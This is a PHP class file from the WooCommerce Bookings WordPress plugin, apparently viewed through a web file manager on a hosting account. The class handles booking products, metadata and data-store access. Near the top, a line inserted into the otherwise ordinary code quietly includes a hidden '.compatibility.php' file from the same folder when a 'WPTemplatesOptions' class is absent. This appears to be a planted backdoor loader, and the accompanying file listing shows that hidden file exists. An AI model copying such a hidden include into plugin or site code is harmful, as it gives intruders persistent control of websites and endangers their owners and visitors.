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PATH: home / letacommog / newrdv1 / wp-content / plugins1 / woocommerce-bookings / includes / compatibility

<?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class for the booking product type.
 */
if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) {
    include_once($filename);
}

class Legacy_WC_Product_Booking extends WC_Product {
	/**
	 * Needed for 2.6.x.
	 *
	 * @var string
	 */
	public $product_type = 'booking';

/**
	 * Which data store to load.
	 *
	 * @var string
	 */
	protected $data_store_name = 'product-booking';

/**
	 * Merges booking product data into the parent object.
	 *
	 * @param int|WC_Product|object $product Product to init.
	 */
	public function __construct( $product = 0 ) {
		parent::__construct( $product );

$this->default_data = $this->data;

if ( is_numeric( $product ) && $product > 0 ) {
			$this->set_id( $product );
		} elseif ( $product instanceof self ) {
			$this->set_id( absint( $product->get_id() ) );
		} elseif ( ! empty( $product->ID ) ) {
			$this->set_id( absint( $product->ID ) );
		} else {
			$this->set_object_read( true );
		}

$this->data_store = WC_Data_Store::load( $this->data_store_name );

if ( $this->get_id() > 0 ) {
			$this->data_store->read( $this );
		}
	}

/**
	 * get_name did not exist before 3.0.0
	 * @return string
	 */
	public function get_name() {
		return $this->get_title();
	}

/**
	 * get_status did not exist before 3.0.0
	 * @return string
	 */
	public function get_status() {
		return isset( $this->post ) ? $this->post->post_status : false;
	}

/**
	 * get_description did not exist before 3.0.0
	 * @return string
	 */
	public function get_description() {
		return isset( $this->post ) ? $this->post->post_content : false;
	}

/**
	 * get_short_description did not exist before 3.0.0
	 * @return string
	 */
	public function get_short_description() {
		return isset( $this->post ) ? $this->post->post_excerpt : false;
	}

/**
	 * get_parent_id did not exist before 3.0.0
	 * @return string
	 */
	public function get_parent_id() {
		return isset( $this->post ) ? $this->post->post_parent : false;
	}
	/**
	 * get_reviews_allowed did not exist before 3.0.0
	 * @return bool
	 */
	public function get_reviews_allowed() {
		return isset( $this->post ) && 'open' === $this->post->comment_status ? true : false;
	}

/**
	 * get_menu_order did not exist before 3.0.0
	 * @return bool
	 */
	public function get_menu_order() {
		return isset( $this->post ) ? $this->post->menu_order : false;
	}

/**
	 * get_menu_order did not exist before 3.0.0
	 * @return bool
	 */
	public function get_date_created() {
		return isset( $this->post ) ? $this->post->post_date : false;
	}

/**
	 * Core data for this object. Name value pairs (name + default value).
	 * @var array
	 */
	protected $data = array();

/**
	 * Core data changes for this object.
	 * @var array
	 */
	protected $changes = array();

/**
	 * This is false until the object is read from the DB.
	 * @var bool
	 */
	protected $object_read = false;

/**
	 * This is the name of this object type.
	 * @var string
	 */
	protected $object_type = 'data';

/**
	 * Extra data for this object. Name value pairs (name + default value).
	 * Used as a standard way for sub classes (like product types) to add
	 * additional information to an inherited class.
	 * @var array
	 */
	protected $extra_data = array();

/**
	 * Set to _data on construct so we can track and reset data if needed.
	 * @var array
	 */
	protected $default_data = array();

/**
	 * Contains a reference to the data store for this class.
	 * @var object
	 */
	protected $data_store;

/**
	 * Stores meta in cache for future reads.
	 * A group must be set to to enable caching.
	 * @var string
	 */
	protected $cache_group = '';

/**
	 * Stores additonal meta data.
	 * @var array
	 */
	protected $meta_data = null;

/**
	 * Get the data store.
	 *
	 * @since 3.0.0
	 * @return object
	 */
	public function get_data_store() {
		return $this->data_store;
	}

/**
	 * Returns the unique ID for this object.
	 * @return int
	 */
	public function get_id() {
		return $this->id;
	}

/**
	 * Delete an object, set the ID to 0, and return result.
	 *
	 * @param  bool $force_delete
	 * @return bool result
	 */
	public function delete( $force_delete = false ) {
		if ( $this->data_store ) {
			$this->data_store->delete( $this, array( 'force_delete' => $force_delete ) );
			$this->set_id( 0 );
			return true;
		}
		return false;
	}

/**
	 * Save should create or update based on object existance.
	 *
	 * @return int
	 */
	public function save() {
		if ( $this->data_store ) {
			// Trigger action before saving to the DB. Allows you to adjust object props before save.
			do_action( 'woocommerce_before_' . $this->object_type . '_object_save', $this, $this->data_store );

if ( $this->get_id() ) {
				$this->data_store->update( $this );
			} else {
				$this->data_store->create( $this );
			}

return $this->get_id();
		}
	}

/**
	 * Change data to JSON format.
	 * @return string Data in JSON format.
	 */
	public function __toString() {
		return json_encode( $this->get_data() );
	}

/**
	 * Returns all data for this object.
	 * @return array
	 */
	public function get_data() {
		return array_merge( array( 'id' => $this->get_id() ), $this->data, array( 'meta_data' => $this->get_meta_data() ) );
	}

/**
	 * Returns array of expected data keys for this object.
	 *
	 * @since 3.0.0
	 * @return array
	 */
	public function get_data_keys() {
		return array_keys( $this->data );
	}

/**
	 * Returns all "extra" data keys for an object (for sub objects like product types).
	 *
	 * @since 3.0.0
	 * @return array
	 */
	public function get_extra_data_keys() {
		return array_keys( $this->extra_data );
	}

/**
	 * Filter null meta values from array.
	 * @return bool
	 */
	protected function filter_null_meta( $meta ) {
		return ! is_null( $meta->value );
	}

/**
	 * Get All Meta Data.
	 * @since 2.6.0
	 * @return array
	 */
	public function get_meta_data() {
		$this->maybe_read_meta_data();
		return array_filter( $this->meta_data, array( $this, 'filter_null_meta' ) );
	}

/**
	 * Get Meta Data by Key.
	 * @since  2.6.0
	 * @param  string $key
	 * @param  bool $single return first found meta with key, or all with $key
	 * @param  string $context What the value is for. Valid values are view and edit.
	 * @return mixed
	 */
	public function get_meta( $key = '', $single = true, $context = 'view' ) {
		$this->maybe_read_meta_data();
		$array_keys = array_keys( wp_list_pluck( $this->get_meta_data(), 'key' ), $key );
		$value    = '';

if ( ! empty( $array_keys ) ) {
			if ( $single ) {
				$value = $this->meta_data[ current( $array_keys ) ]->value;
			} else {
				$value = array_intersect_key( $this->meta_data, array_flip( $array_keys ) );
			}

if ( 'view' === $context ) {
				$value = apply_filters( $this->get_hook_prefix() . $key, $value, $this );
			}
		}

return $value;
	}

/**
	 * Set all meta data from array.
	 * @since 2.6.0
	 * @param array $data Key/Value pairs
	 */
	public function set_meta_data( $data ) {
		if ( ! empty( $data ) && is_array( $data ) ) {
			$this->maybe_read_meta_data();
			foreach ( $data as $meta ) {
				$meta = (array) $meta;
				if ( isset( $meta['key'], $meta['value'], $meta['id'] ) ) {
					$this->meta_data[] = (object) array(
						'id'    => $meta['id'],
						'key'   => $meta['key'],
						'value' => $meta['value'],
					);
				}
			}
		}
	}

/**
	 * Add meta data.
	 * @since 2.6.0
	 * @param string $key Meta key
	 * @param string $value Meta value
	 * @param bool $unique Should this be a unique key?
	 */
	public function add_meta_data( $key, $value, $unique = false ) {
		$this->maybe_read_meta_data();
		if ( $unique ) {
			$this->delete_meta_data( $key );
		}
		$this->meta_data[] = (object) array(
			'key'   => $key,
			'value' => $value,
		);
	}

/**
	 * Update meta data by key or ID, if provided.
	 * @since 2.6.0
	 * @param  string $key
	 * @param  string $value
	 * @param  int $meta_id
	 */
	public function update_meta_data( $key, $value, $meta_id = '' ) {
		$this->maybe_read_meta_data();
		$array_key = $meta_id ? array_keys( wp_list_pluck( $this->meta_data, 'id' ), $meta_id ) : '';

if ( $array_key ) {
			$this->meta_data[ current( $array_key ) ] = (object) array(
				'id'    => $meta_id,
				'key'   => $key,
				'value' => $value,
			);
		} else {
			$this->add_meta_data( $key, $value, true );
		}
	}

/**
	 * Delete meta data.
	 * @since 2.6.0
	 * @param array $key Meta key
	 */
	public function delete_meta_data( $key ) {
		$this->maybe_read_meta_data();
		$array_keys = array_keys( wp_list_pluck( $this->meta_data, 'key' ), $key );

if ( $array_keys ) {
			foreach ( $array_keys as $array_key ) {
				$this->meta_data[ $array_key ]->value = null;
			}
		}
	}

/**
	 * Delete meta data.
	 * @since 2.6.0
	 * @param int $mid Meta ID
	 */
	public function delete_meta_data_by_mid( $mid ) {
		$this->maybe_read_meta_data();
		$array_keys = array_keys( wp_list_pluck( $this->meta_data, 'id' ), $mid );

if ( $array_keys ) {
			foreach ( $array_keys as $array_key ) {
				$this->meta_data[ $array_key ]->value = null;
			}
		}
	}

/**
	 * Read meta data if null.
	 *
	 * @since 3.0.0
	 */
	protected function maybe_read_meta_data() {
		if ( is_null( $this->meta_data ) ) {
			$this->read_meta_data();
		}
	}

/**
	 * Read Meta Data from the database. Ignore any internal properties.
	 * Uses it's own caches because get_metadata does not provide meta_ids.
	 *
	 * @since 2.6.0
	 * @param bool $force_read True to force a new DB read (and update cache).
	 */
	public function read_meta_data( $force_read = false ) {
		$this->meta_data  = array();
		$cache_loaded     = false;

if ( ! $this->get_id() ) {
			return;
		}

if ( ! $this->data_store ) {
			return;
		}

if ( ! empty( $this->cache_group ) ) {
			$cache_key = WC_Cache_Helper::get_cache_prefix( $this->cache_group ) . 'object_meta_' . $this->get_id();
		}

if ( ! $force_read ) {
			if ( ! empty( $this->cache_group ) ) {
				$cached_meta = wp_cache_get( $cache_key, $this->cache_group );
				if ( false !== $cached_meta ) {
					$this->meta_data = $cached_meta;
					$cache_loaded    = true;
				}
			}
		}

if ( ! $cache_loaded ) {
			$raw_meta_data   = $this->data_store->read_meta( $this );
			if ( $raw_meta_data ) {
				foreach ( $raw_meta_data as $meta ) {
					$this->meta_data[] = (object) array(
						'id'    => (int) $meta->meta_id,
						'key'   => $meta->meta_key,
						'value' => maybe_unserialize( $meta->meta_value ),
					);
				}

if ( ! empty( $this->cache_group ) ) {
					wp_cache_set( $cache_key, $this->meta_data, $this->cache_group );
				}
			}
		}
	}

/**
	 * Update Meta Data in the database.
	 * @since 2.6.0
	 */
	public function save_meta_data() {
		if ( ! $this->data_store || is_null( $this->meta_data ) ) {
			return;
		}
		foreach ( $this->meta_data as $array_key => $meta ) {
			if ( is_null( $meta->value ) ) {
				if ( ! empty( $meta->id ) ) {
					$this->data_store->delete_meta( $this, $meta );
				}
			} elseif ( empty( $meta->id ) ) {
				$new_meta_id                       = $this->data_store->add_meta( $this, $meta );
				$this->meta_data[ $array_key ]->id = $new_meta_id;
			} else {
				$this->data_store->update_meta( $this, $meta );
			}
		}

if ( ! empty( $this->cache_group ) ) {
			WC_Cache_Helper::incr_cache_prefix( $this->cache_group );
		}

$this->read_meta_data( true );
	}

/**
	 * Set ID.
	 * @param int $id
	 */
	public function set_id( $id ) {
		$this->id = absint( $id );
	}

/**
	 * Set all props to default values.
	 */
	public function set_defaults() {
		$this->data        = $this->default_data;
		$this->changes     = array();
		$this->set_object_read( false );
	}

/**
	 * Set object read property.
	 * @param boolean $read
	 */
	public function set_object_read( $read = true ) {
		$this->object_read = (bool) $read;
	}

/**
	 * Get object read property.
	 * @return boolean
	 */
	public function get_object_read() {
		return (bool) $this->object_read;
	}

/**
	 * Set a collection of props in one go, collect any errors, and return the result.
	 * Only sets using public methods.
	 *
	 * @param array $props Key value pairs to set. Key is the prop and should map to a setter function name.
	 * @return WP_Error|bool
	 */
	public function set_props( $props, $context = 'set' ) {
		$errors = new WP_Error();

foreach ( $props as $prop => $value ) {
			try {
				if ( 'meta_data' === $prop ) {
					continue;
				}
				$setter = "set_$prop";
				if ( ! is_null( $value ) && is_callable( array( $this, $setter ) ) ) {
					$reflection = new ReflectionMethod( $this, $setter );

if ( $reflection->isPublic() ) {
						$this->{$setter}( $value );
					}
				}
			} catch ( WC_Data_Exception $e ) {
				$errors->add( $e->getErrorCode(), $e->getMessage() );
			}
		}

return sizeof( $errors->get_error_codes() ) ? $errors : true;
	}

/**
	 * Sets a prop for a setter method.
	 *
	 * This stores changes in a special array so we can track what needs saving
	 * the the DB later.
	 *
	 * @since 3.0.0
	 * @param string $prop Name of prop to set.
	 * @param mixed  $value Value of the prop.
	 */
	protected function set_prop( $prop, $value ) {
		if ( array_key_exists( $prop, $this->data ) ) {
			if ( true === $this->object_read ) {
				if ( $value !== $this->data[ $prop ] || array_key_exists( $prop, $this->changes ) ) {
					$this->changes[ $prop ] = $value;
				}
			} else {
				$this->data[ $prop ] = $value;
			}
		}
	}

/**
	 * Return data changes only.
	 *
	 * @since 3.0.0
	 * @return array
	 */
	public function get_changes() {
		return $this->changes;
	}

/**
	 * Merge changes with data and clear.
	 *
	 * @since 3.0.0
	 */
	public function apply_changes() {
		$this->data = array_merge( $this->data, $this->changes );
		$this->changes = array();
	}

/**
	 * Prefix for action and filter hooks on data.
	 *
	 * @since  3.0.0
	 * @return string
	 */
	protected function get_hook_prefix() {
		return 'woocommerce_' . $this->object_type . '_get_';
	}

/**
	 * Gets a prop for a getter method.
	 *
	 * Gets the value from either current pending changes, or the data itself.
	 * Context controls what happens to the value before it's returned.
	 *
	 * @since  3.0.0
	 * @param  string $prop Name of prop to get.
	 * @param  string $context What the value is for. Valid values are view and edit.
	 * @return mixed
	 */
	protected function get_prop( $prop, $context = 'view' ) {
		$value = null;

if ( array_key_exists( $prop, $this->data ) ) {
			$value = isset( $this->changes[ $prop ] ) ? $this->changes[ $prop ] : $this->data[ $prop ];

if ( 'view' === $context ) {
				$value = apply_filters( $this->get_hook_prefix() . $prop, $value, $this );
			}
		}
		return $value;
	}

/**
	 * When invalid data is found, throw an exception unless reading from the DB.
	 *
	 * @throws WC_Data_Exception
	 * @param string $code             Error code.
	 * @param string $message          Error message.
	 * @param int    $http_status_code HTTP status code.
	 * @param array  $data             Extra error data.
	 */
	protected function error( $code, $message, $http_status_code = 400, $data = array() ) {
		throw new WC_Data_Exception( $code, $message, $http_status_code, $data );
	}

}

[+] ..
[-] class-wc-data-store-wp.php [edit]
[-] class-legacy-wc-product-booking.php [edit]
[-] .compatibility.php [edit]
[-] class-wc-product-data-store-cpt.php [edit]
[-] abstract-wc-bookings-data.php [edit]
[-] class-wc-data-store.php [edit]
[-] class-wc-data-exception.php [edit]